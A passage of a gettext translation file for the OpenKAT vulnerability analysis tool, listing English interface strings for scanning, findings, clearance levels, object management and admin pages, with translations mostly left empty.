'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"File could not be decoded\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"No file selected\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The uploaded file is empty.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"The number of columns do not meet the requirements.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"OOI Type in CSV does not meet the criteria.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"An error has occurred during the parsing of the csv file:\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Upload CSV file\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only accepts CSV file.\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py rocky/templates/partials/explanations.html\nmsgid \"Object Type\"\nmsgstr \"\"\n\n#: tools/forms/upload_oois.py\nmsgid \"Choose a type of which objects are added.\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Mime types\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"\"\n\"<p>Add a set of mime types, separated by commas, for example:</\"\n\"p><p><i>\\\"text/html, image/jpeg\\\"</i> or <i>\\\"boefje/dns-records\\\"</i>.</\"\n\"p><p>Mime types are used to match the correct normalizer to a raw file. When \"\n\"the mime type \\\"boefje/dns-records\\\" is added, the normalizer expects the \"\n\"raw file to contain dns scan information.</p>\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_raw.html\nmsgid \"Upload raw file\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Input or Scan OOI\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"Click to select one of the available options, or type one yourself\"\nmsgstr \"\"\n\n#: tools/forms/upload_raw.py\nmsgid \"OOI doesn't exist, try another valid time\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"A short code containing only lower-case unicode letters, numbers, hyphens or \"\n\"underscores that will be used in URLs and paths.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"\"\n\"This organization code is reserved by OpenKAT and cannot be used. Choose \"\n\"another organization code.\"\nmsgstr \"\"\n\n#: tools/models.py\nmsgid \"new\"\nmsgstr \"\"\n\n#: tools/templatetags/ooi_extra.py\nmsgid \"Unknown user\"\nmsgstr \"\"\n\n#: tools/view_helpers.py rocky/templates/header.html\n#: rocky/templates/organizations/organization_member_list.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Members\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Current status\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"Active\"\nmsgstr \"\"\n\n#: rocky/forms.py rocky/templates/organizations/organization_member_list.html\nmsgid \"New\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Account status\"\nmsgstr \"\"\n\n#: rocky/forms.py\nmsgid \"Not blocked\"\nmsgstr \"\"\n\n#: rocky/messaging.py\nmsgid \"\"\n\"You have trusted this member with a clearance level of L{}. This member \"\n\"needs at least a clearance level of L{} in order to do a proper onboarding. \"\n\"Edit this member and change the clearance level if necessary.\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is not an integer\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page number is less than 1\"\nmsgstr \"\"\n\n#: rocky/paginator.py\nmsgid \"That page contains no results\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"The Scheduler has an unexpected error. Check the Scheduler logs for further \"\n\"details.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Could not connect to Scheduler. Service is possibly down.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Your request could not be validated.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task could not be found.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"\"\n\"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or \"\n\"wait for task to finish.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Bad request. Your request could not be interpreted by the Scheduler.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"The Scheduler has received a conflict. Your task is already in queue.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"A HTTPError occurred. See Scheduler logs for more info.\"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Schedule list: \"\nmsgstr \"\"\n\n#: rocky/scheduler.py\nmsgid \"Task list: \"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Blue dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Green dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Yellow dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Orange dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Red dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet light\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet medium\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Violet dark\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Plain\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Solid\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dashed\"\nmsgstr \"\"\n\n#: rocky/settings.py\nmsgid \"Dotted\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Error code 403: Unauthorized\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Your account is not authorized to access this page or organization.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html\nmsgid \"Please contact your system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"You may want to go back to the\"\nmsgstr \"\"\n\n#: rocky/templates/403.html rocky/templates/404.html\nmsgid \"Crisis Room\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"Error code 404: Page not found\"\nmsgstr \"\"\n\n#: rocky/templates/404.html\nmsgid \"\"\n\"The page you wanted to see or the file you wanted to view was not found.\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Skip to main content\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Welcome,\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"View site\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Documentation\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Change password\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html\nmsgid \"Log out\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/header.html\nmsgid \"Breadcrumbs\"\nmsgstr \"\"\n\n#: rocky/templates/admin/base.html rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Home\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#, python-format\nmsgid \"Add %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_form.html\n#: rocky/templates/admin/change_list.html\nmsgid \"Please correct the error below.\"\nmsgid_plural \"Please correct the errors below.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Filter\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Hide counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Show counts\"\nmsgstr \"\"\n\n#: rocky/templates/admin/change_list.html\nmsgid \"Clear all filters\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting \"\n\"related objects, but your account doesn't have permission to delete the \"\n\"following types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the \"\n\"following protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the %(object_name)s \\\"%(escaped_object)s\\\"? \"\n\"All of the following related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Yes, I’m sure\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"No, take me back\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\nmsgid \"Delete multiple objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would result in deleting related \"\n\"objects, but your account doesn't have permission to delete the following \"\n\"types of objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Deleting the selected %(objects_name)s would require deleting the following \"\n\"protected related objects\"\nmsgstr \"\"\n\n#: rocky/templates/admin/delete_selected_confirmation.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete the selected %(objects_name)s? All of the \"\n\"following objects and their related items will be deleted\"\nmsgstr \"\"\n\n#: rocky/templates/admin/popup_response.html\nmsgid \"Popup closing…\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Close menu\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\nmsgid \"Main navigation\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html\nmsgid \"Indemnifications\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Logout\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"Welcome\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\nmsgid \"User overview\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"warning\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Warning:\"\nmsgstr \"\"\n\n#: rocky/templates/dashboard_redteam.html\nmsgid \"Organization code missing\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_type_add.py\nmsgid \"Add finding type\"\nmsgstr \"\"\n\n#: rocky/templates/finding_type_add.html\nmsgid \"Finding Type\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_add.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_findings.html\n#: rocky/templates/partials/findings_list_toolbar.html\n#: rocky/views/finding_add.py\nmsgid \"Add finding\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings @ \"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"\"\n\"An overview of all findings OpenKAT found for organization \"\n\"<strong>%(organization_name)s</strong>. Each finding relates to an object. \"\n\"Click a finding for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Mute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/finding_list.html\nmsgid \"Unmute findings\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Set filters\"\nmsgstr \"\"\n\n#: rocky/templates/findings/findings_filter.html\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\n#: rocky/templates/tasks/partials/task_filter.html\nmsgid \"Clear filters\"\nmsgstr \"\"\n\n#: rocky/templates/footer.html rocky/views/privacy_statement.py\nmsgid \"Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/forms/json_schema_form.html\nmsgid \"Fill out this form to answer the Question (again):\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"\"\n\"Click a circle to collapse / expand the tree, click the text to view the \"\n\"tree from that OOI and hover over the text to see details.\"\nmsgstr \"\"\n\n#: rocky/templates/graph-d3.html\nmsgid \"Tree graph\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"Menu\"\nmsgstr \"\"\n\n#: rocky/templates/header.html\nmsgid \"OpenKAT logo, go to the homepage of OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/header.html rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\n#: rocky/views/task_detail.py rocky/views/tasks.py\nmsgid \"Tasks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health Checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Health checks\"\nmsgstr \"\"\n\n#: rocky/templates/health.html\nmsgid \"Additional\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"\"\n\"Indemnification on the organization present. You may now add objects and \"\n\"start scans.\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to Objects\"\nmsgstr \"\"\n\n#: rocky/templates/indemnification_present.html\nmsgid \"Go to\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Welcome to OpenKAT\"\nmsgstr \"Willkommen bei OpenKAT\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Kwetsbaarheden Analyse Tool\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"What is OpenKAT?\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT is a vulnerability analysis tool. An Open Source-project developed \"\n\"by the Ministry of Health, Welfare and Sport to make your and our world \"\n\"safer.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT sees\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Dozens of tools are integrated in OpenKAT to view the world (digital and \"\n\"analog).\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"Our motto is therefore: I see, I see, what you do not see.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT knows\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT does not forget (just like that), and can be queried without \"\n\"scanning again. Also about a historical situation.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is secure\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"Forensically secured storage of evidence is one of the basic ingredients of \"\n\"OpenKAT.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"OpenKAT is sweet\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT thinks about privacy, and stores what is necessary, within the rules \"\n\"of your organization and the law.\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"A wide playing field\"\nmsgstr \"\"\n\n#: rocky/templates/landing_page.html\nmsgid \"\"\n\"OpenKAT makes a copy of the actual reality by means of the integrated tools. \"\n\"Within this copy you can search for answers to countless security and policy \"\n\"questions. Expected and unexpected changes in the world are made visible, \"\n\"and where necessary reported or made known directly to the right people.\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"OpenKAT Privacy Statement\"\nmsgstr \"\"\n\n#: rocky/templates/legal/privacy_statement.html\nmsgid \"\"\n\"OpenKAT is dedicated to protecting the confidentiality and privacy of \"\n\"information entrusted to it. As part of this fundamental obligation, OpenKAT \"\n\"is committed to the appropriate protection and use of personal information \"\n\"(sometimes referred to as \\\"personal data\\\", \\\"personally identifiable \"\n\"information\\\" or \\\"PII\\\") that has been collected online.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"Object List\"\nmsgstr \"\"\n\n#: rocky/templates/oois/error.html\nmsgid \"An error occurred. Please contact a system administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add a %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\nmsgid \"\"\n\"Here you can add the asset of the client. Findings can be added to these in \"\n\"the findings page.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add.html\n#, python-format\nmsgid \"Add %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\n#: rocky/templates/partials/ooi_list_toolbar.html rocky/views/ooi_add.py\nmsgid \"Add object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_add_type_select.html\nmsgid \"Select the type of object you want to create.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Delete %(primary_key)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#, python-format\nmsgid \"Here you can delete the %(display_type)s.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"To be deleted object(s)\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Key\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Delete %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_delete.html\nmsgid \"Deletion not possible for types: KATFindingType and CVEFindingType\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"using boefjes\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> There is no indemnification for this organization. \"\n\"Go to the <a href=\\\"%(organization_settings)s\\\">organization settings page</\"\n\"a> to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Permission warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"\"\n\"<strong>Warning:</strong> You don't have the proper permission at the \"\n\"organizational level to scan objects. Contact your administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Scan warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#, python-format\nmsgid \"\"\n\"<strong>Warning:</strong> You are not allowed to scan this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s. Go to your <a href=\\\"%(account_details)s\\\">account \"\n\"details</a> to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Boefjes overview\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan.html rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html rocky/templates/scan.html\nmsgid \"Scan profile\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Unable to start scan. See the warning for more details.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"Start scan\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"There are no boefjes enabled to scan an OOI of type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"See\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail.html\nmsgid \"to find and enable boefjes that can scan within the current level.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"Add related object\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/oois/ooi_detail_object.html\nmsgid \"Object details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Object type\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Choose an object type to add\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/elements/ooi_add_type_select_form.html\nmsgid \"Select an object type to add.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Overview of findings for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\nmsgid \"Score\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Overview of the number of findings and their severity found on\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"\"\n\"Findings can occur multiple times. To give better insight the following \"\n\"table shows the number of unique findings found as well as the number of \"\n\"occurrences.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"See finding details\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_findings_overview.html\nmsgid \"Total findings\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_object.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Inactive\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_declarations.html\nmsgid \"Declarations\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Inferred by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Bit\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_inference.html\nmsgid \"Parameters\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Last observed by\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"Task ID\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"When\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Normalizer\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"This scan was manually created.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"The boefje has since been deleted or disabled.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\nmsgid \"No Raw file could be found, this might point to an error in OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Warning\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Edit %(type)s: %(ooi_human_readable)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\nmsgid \"Primary key fields cannot be edited.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_edit.html\n#, python-format\nmsgid \"Save %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_findings.html\nmsgid \"Currently no findings have been identified for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"\"\n\"An overview of objects found for organization <strong>%(organization_name)s</\"\n\"strong>. Objects can be added manually or by running Boefjes. Click an \"\n\"object for additional information.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Edit clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute finding:\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Give a reason below why you want to mute this finding.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Mute finding\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been 